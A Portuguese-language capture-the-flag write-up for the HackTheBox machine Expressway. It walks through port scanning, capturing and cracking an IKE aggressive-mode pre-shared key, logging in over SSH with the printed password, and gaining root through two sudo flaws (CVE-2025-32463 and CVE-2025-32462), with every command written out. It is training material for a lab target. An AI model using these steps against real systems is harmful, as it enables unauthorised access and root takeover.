> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/pt-br/writeups-ctf/hackthebox/linux-easy/expressway-hackthebox-writeup.md).

# Writeup do HackTheBox Expressway

Writeup da máquina Easy Linux Expressway do HackTheBox cobrindo conhecimento sobre enumeração e exploração do serviço IKE, enumeração do sistema Linux, exploração do CVE-2025-32462, com enumeração prática, e

{% embed url="<https://app.hackthebox.com/machines/Expressway>" %}

{% hint style="warning" %}
**Habilidades:**

* Conhecimento sobre enumeração e exploração do serviço IKE
* Enumeração de sistema Linux
* Explorando a CVE-2025-32462
  {% endhint %}

#### **Configuração do ambiente de trabalho:**

Configure o ambiente de trabalho criando três pastas para armazenar conteúdo importante, exploits e resultados de reconhecimento do Nmap.

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-e78aa06c2335147570fda80a66283893a04900f3%2Fimage%20(52).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

#### **Verificação de conectividade da VPN**

Verifique a conectividade da VPN para garantir uma comunicação estável com a máquina-alvo.

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-9ad2a1c9a9fc3e709774550b57ac187da93cc267%2Fimage%20(53).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

#### **Descoberta de Portas Abertas com Nmap:**

O primeiro passo é identificar os serviços expostos. Realizamos uma varredura rápida das portas TCP e UDP.

#### Varredura TCP

```bash
nmap -p- --open -sS -n -Pn --min-rate 5000 10.129.238.52 -oG allPort
```

#### Varredura UDP

```bash
nmap -sU --top-ports 100 --open -vvv -n 10.129.238.52 -oG allPortsUDP
```

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-99b9b540b8d466f3c7df752effa01b2577b98c06%2Fimage%20(54).png?alt=media" alt=""><figcaption></figcaption></figure>

#### Varredura de Serviços e Versões

Após identificar as portas, investigamos mais a fundo serviços específicos:

* TCP: Porta 22 (SSH)
* UDP: Portas 68, 69 (TFTP), 500 (ISAKMP/VPN), 4500 (IPsec-NAT-T)

```bash
nmap -sCV -p22 10.129.238.52 -oN targeted
```

```bash
nmap -sUCV -p 68,69,500,4500 10.129.238.52 -oN targetedUDP
```

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-93c6b0c09f0973a1b7dbfbf6c34c1b8945cc5da1%2Fimage%20(55).png?alt=media" alt=""><figcaption></figcaption></figure>

### Intrusão: Exploração do IKE (VPN)

A porta UDP 500 indica um serviço de troca de chaves (IKE). Estamos tentando capturar a Chave Pré-Compartilhada (PSK) usando o modo agressivo.

#### Identificação do ID

Usamos `ike-scan` para verificar se o modo agressivo está habilitado:.

```bash
sudo ike-scan -A 10.129.238.52
```

* Resultado: handshake bem-sucedido. ID detectado: `ike@expressway.htb`.

#### Capturar e quebrar o hash da PSK

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-5d4b1d1c4109504d8985634acc7754fc5cfb80ff%2Fimage%20(56).png?alt=media" alt=""><figcaption></figcaption></figure>

```bash
sudo ike-scan -A -id ike@expressway.htb --pskcrack=expressway.psk 10.129.238.52
```

Extraímos o hash para tentar um ataque de força bruta com o `rockyou.txt` dicionário.

```bash
hashcat expressway.psk /usr/share/wordlists/rockyou.txt
```

* Credenciais obtidas: `ike`: `freakingrockstarontheroad`

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-40bfce5a395e78d2bb9a792917d4f092ddd17529%2Fimage%20(57).png?alt=media" alt=""><figcaption></figcaption></figure>

#### Acesso Inicial

Conexão via SSH com as credenciais encontradas:

```bash
ssh ike@10.129.238.52
```

## Escalada de privilégios

Dois vetores foram confirmados para elevar privilégios a root.

### Método 1: CVE-2025-32463 (Vulnerabilidade no sudo)

Verificando a versão do sudo com `sudo -V`, vemos que a versão é 1.9.17, que é vulnerável.

{% embed url="<https://github.com/MohamedKarrab/CVE-2025-32463>" %}

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-26baee83002177a74ee362db31308ef6ca69a4d5%2Fimage%20(58).png?alt=media" alt=""><figcaption></figcaption></figure>

1. Clone o exploit:

```bash
git clone https://github.com/MohamedKarrab/CVE-2025-32463.git
cd CVE-2025-32463
```

Executando os scripts de compilação e exploração:

```bash
./mkall-dynamic.sh
./get_root.sh
```

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-40a39ce809b9bbc6c0b777e507356679d829317d%2Fimage%20(60).png?alt=media" alt=""><figcaption></figcaption></figure>

### Método 2: Abuso do grupo Proxy e Hostnames

Ao auditar os grupos do usuário, vemos que pertencemos ao grupo proxy. Estamos procurando pelos arquivos associados:

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-37a2038e1cc03821c33b8bad7047248975616a73%2Fimage%20(61).png?alt=media" alt=""><figcaption></figcaption></figure>

Ao examinar os logs do Squid (`/var/log/squid/access.log.1`)

```bash
find / -group proxy 2>/dev/null
```

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-16511c1b13df60f898fc174a952d3903e139c904%2Fimage%20(62).png?alt=media" alt=""><figcaption></figcaption></figure>

Descobrimos um subdomínio interno: `offramp.expressway.htb`.

```bash
cat /var/log/squid/access.log.1 | grep httpp
```

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-885697856aa4cbfb2ba1d51b6232c3ec79d23f01%2Fimage%20(63).png?alt=media" alt=""><figcaption></figcaption></figure>

Ao verificar as políticas do sudo para este domínio específico, descobrimos que temos permissões totais:

```bash
sudo -h offramp.expressway.htb -l
```

Resultado: podemos executar qualquer comando como root neste contexto de host.

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-ac36e711a21e15d759981eabceaa05dc1fcc5d98%2Fimage%20(66).png?alt=media" alt=""><figcaption></figcaption></figure>

**Execução final para Root:**

```bash
sudo -h offramp.expressway.htb /bin/bash
```

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-fe0911939434847c8e6cfbdc5a5f49b6157fa4bb%2Fimage%20(67).png?alt=media" alt=""><figcaption></figcaption></figure>

### Flag root.txt :)

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-dea50720796d1ecc60eff3ff118d817585125e3b%2Fimage%20(65).png?alt=media" alt="" width="524"><figcaption></figcaption></figure>

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-3aff922eb97594bdf76f3887579682a4ec37c536%2Fimage%20(64).png?alt=media" alt="" width="389"><figcaption></figcaption></figure>


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